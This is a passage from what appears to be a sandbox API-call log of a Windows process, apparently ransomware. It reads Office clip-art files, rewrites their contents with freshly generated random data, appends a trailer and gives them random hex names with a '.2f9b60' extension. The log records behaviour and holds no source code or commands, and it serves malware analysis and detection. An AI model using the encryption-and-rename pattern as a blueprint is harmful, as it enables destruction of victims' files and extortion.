(in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="91") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="08") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="75") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="87") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="0e") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="6d") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="43") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="6d") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="99") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="e9") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="e5") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="99") returned 2 [0217.925] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="18") returned 2 [0217.925] RtlInitAnsiString (in: DestinationString=0x2e79f7c8, SourceString="8738fb77f84f91087587b70e6d436dd8a199cae95be59918" | out: DestinationString="8738fb77f84f91087587b70e6d436dd8a199cae95be59918") [0217.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e79f798, SourceString="8738fb77f84f91087587b70e6d436dd8a199cae95be59918", AllocateDestinationString=1 | out: DestinationString="8738fb77f84f91087587b70e6d436dd8a199cae95be59918") returned 0x0 [0217.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f830 [0217.926] wcscat (in: _Dest=0x43145e80, _Source="8738fb77f84f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f" [0217.926] wcscat (in: _Dest=0x43145e80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f.2f9b60" [0217.926] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f.2f9b60", NtPathName=0x2e79f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8738fb77f84f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fec00 Thread: id = 3563 os_tid = 0x1e9c [0210.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf")) returned 0x20 [0210.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF", dwFileAttributes=0x20) returned 1 [0210.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2b44 [0211.059] GetFileSizeEx (in: hFile=0x2b44, lpFileSize=0x3085f680 | out: lpFileSize=0x3085f680*=2082) returned 1 [0211.059] SetFilePointerEx (in: hFile=0x2b44, liDistanceToMove=0x81e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.059] ReadFile (in: hFile=0x2b44, lpBuffer=0x3085f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3085f648, lpOverlapped=0x0 | out: lpBuffer=0x3085f600*, lpNumberOfBytesRead=0x3085f648*=0x4, lpOverlapped=0x0) returned 1 [0211.542] SetFilePointerEx (in: hFile=0x2b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260650 [0211.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0211.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0211.543] NtQuerySystemTime (in: CurrentTime=0x3085f540 | out: CurrentTime=0x3085f540*=132462178164106000) returned 0x0 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x54cd85f1 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x54019bee [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x6c4387d7 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x6cb3c567 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x7f67e54e [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x3331a2f5 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x5d2992fc [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x58755db0 [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x51446ebe [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x1000909d [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0xc39b08f [0211.543] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x3a9d02ec [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x7b88436f [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x743b2b97 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x5f35445c [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x2da94b25 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x7de785bd [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x8fbe4f1 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x5138975f [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0xd58ceeb [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x6b40d040 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x7313a9fe [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0xb023afc [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x541d89d6 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x5d5164be [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x36df7c7c [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x32d47bbe [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x4eaa8d25 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x67d29360 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x5e89e15c [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x1f404628 [0211.544] RtlRandomEx (in: Seed=0x3085f530 | out: Seed=0x3085f530) returned 0x24493f04 [0211.553] ReadFile (in: hFile=0x2b44, lpBuffer=0x42da4d60, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x3085f530, lpOverlapped=0x0 | out: lpBuffer=0x42da4d60*, lpNumberOfBytesRead=0x3085f530*=0x822, lpOverlapped=0x0) returned 1 [0211.553] SetFilePointerEx (in: hFile=0x2b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.553] WriteFile (in: hFile=0x2b44, lpBuffer=0x42da1150*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x3085f534, lpOverlapped=0x0 | out: lpBuffer=0x42da1150*, lpNumberOfBytesWritten=0x3085f534*=0x822, lpOverlapped=0x0) returned 1 [0215.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1430 [0215.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1400 [0215.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1400) returned 1 [0215.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42da1150) returned 1 [0215.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42da4d60) returned 1 [0215.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9d60) returned 1 [0215.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0215.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1400 [0215.513] SetFilePointerEx (in: hFile=0x2b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.514] WriteFile (in: hFile=0x2b44, lpBuffer=0x431f1da0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3085f650, lpOverlapped=0x0 | out: lpBuffer=0x431f1da0*, lpNumberOfBytesWritten=0x3085f650*=0x10a, lpOverlapped=0x0) returned 1 [0217.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0217.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261190) returned 1 [0217.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0217.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0217.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263320) returned 1 [0217.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.933] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="17") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="ea") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="1e") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="65") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="94") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="90") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="1b") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="21") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="59") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="46") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="cf") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="65") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="e7") returned 2 [0217.933] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="15") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="92") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="af") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="12") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="57") returned 2 [0217.934] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="4a") returned 2 [0217.934] RtlInitAnsiString (in: DestinationString=0x3085f6c8, SourceString="17ea7c1eb26594901b215946cf0d65e71592afb87e12574a" | out: DestinationString="17ea7c1eb26594901b215946cf0d65e71592afb87e12574a") [0217.934] RtlAnsiStringToUnicodeString (in: DestinationString=0x3085f698, SourceString="17ea7c1eb26594901b215946cf0d65e71592afb87e12574a", AllocateDestinationString=1 | out: DestinationString="17ea7c1eb26594901b215946cf0d65e71592afb87e12574a") returned 0x0 [0217.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f7c0 [0217.934] wcscat (in: _Dest=0x43145dd0, _Source="17ea7c1eb265" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265" [0217.934] wcscat (in: _Dest=0x43145dd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265.2f9b60" [0217.935] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265.2f9b60", NtPathName=0x3085f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\17ea7c1eb265.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fecd0 Thread: id = 3564 os_tid = 0x1a90 [0210.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf")) returned 0x20 [0210.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF", dwFileAttributes=0x20) returned 1 [0210.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x29ac [0211.061] GetFileSizeEx (in: hFile=0x29ac, lpFileSize=0x2659fb20 | out: lpFileSize=0x2659fb20*=2068) returned 1 [0211.061] SetFilePointerEx (in: hFile=0x29ac, liDistanceToMove=0x810, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.061] ReadFile (in: hFile=0x29ac, lpBuffer=0x2659faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2659fae8, lpOverlapped=0x0 | out: lpBuffer=0x2659faa0*, lpNumberOfBytesRead=0x2659fae8*=0x4, lpOverlapped=0x0) returned 1 [0211.443] SetFilePointerEx (in: hFile=0x29ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0211.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0211.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629f0 [0211.444] NtQuerySystemTime (in: CurrentTime=0x2659f9e0 | out: CurrentTime=0x2659f9e0*=132462178163170000) returned 0x0 [0211.444] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x1485e235 [0211.444] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x483ab63e [0211.444] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x6339965c [0211.444] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x633a1108 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x37151d3d [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x6a4eab2a [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x1d35c0bb [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x14a391a5 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x503206d0 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x3b77a3e8 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x8b5a9b5 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x4c3f97bb [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x6b1e72a [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x9c454f1 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x6ccd454 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x4b3df3be [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x35a4dc5d [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x1df1ffbd [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x637bc19a [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x36b905bb [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x157d9317 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x577f12a [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x619a2f32 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x5f8af5dc [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x163f5135 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0xdbd38af [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x677f6c1 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x6b91b242 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x4060c062 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x54f61dcf [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x344e4414 [0211.445] RtlRandomEx (in: Seed=0x2659f9d0 | out: Seed=0x2659f9d0) returned 0x2918a2cf [0211.456] ReadFile (in: hFile=0x29ac, lpBuffer=0x2044e2e0, nNumberOfBytesToRead=0x814, lpNumberOfBytesRead=0x2659f9d0, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesRead=0x2659f9d0*=0x814, lpOverlapped=0x0) returned 1 [0211.456] SetFilePointerEx (in: hFile=0x29ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.456] WriteFile (in: hFile=0x29ac, lpBuffer=0x2045d320*, nNumberOfBytesToWrite=0x814, lpNumberOfBytesWritten=0x2659f9d4, lpOverlapped=0x0 | out: lpBuffer=0x2045d320*, lpNumberOfBytesWritten=0x2659f9d4*=0x814, lpOverlapped=0x0) returned 1 [0215.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0215.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e90 [0215.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e90) returned 1 [0215.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2045d320) returned 1 [0215.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0215.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0215.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0215.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac0e90 [0215.495] SetFilePointerEx (in: hFile=0x29ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.495] WriteFile (in: hFile=0x29ac, lpBuffer=0x431f1800*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2659faf0, lpOverlapped=0x0 | out: lpBuffer=0x431f1800*, lpNumberOfBytesWritten=0x2659faf0*=0x10a, lpOverlapped=0x0) returned 1 [0217.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0217.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0217.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0217.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d020 [0217.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0217.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0217.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0217.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0217.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.890] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="23") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="5d") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="96") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="86") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="4b") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="39") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="43") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="84") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="08") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="86") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="52") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.890] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="66") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="54") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="b4") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="43") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="db") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="08") returned 2 [0217.891] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="54") returned 2 [0217.891] RtlInitAnsiString (in: DestinationString=0x2659fb68, SourceString="23b35db796ec864b394384dd0886b252a16654b443db0854" | out: DestinationString="23b35db796ec864b394384dd0886b252a16654b443db0854") [0217.891] RtlAnsiStringToUnicodeString (in: DestinationString=0x2659fb38, SourceString="23b35db796ec864b394384dd0886b252a16654b443db0854", AllocateDestinationString=1 | out: DestinationString="23b35db796ec864b394384dd0886b252a16654b443db0854") returned 0x0 [0217.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106630 [0217.891] wcscat (in: _Dest=0x431eab40, _Source="23b35db796ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec" [0217.892] wcscat (in: _Dest=0x431eab40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec.2f9b60") returned="C:\\Program Files\\Microsoft 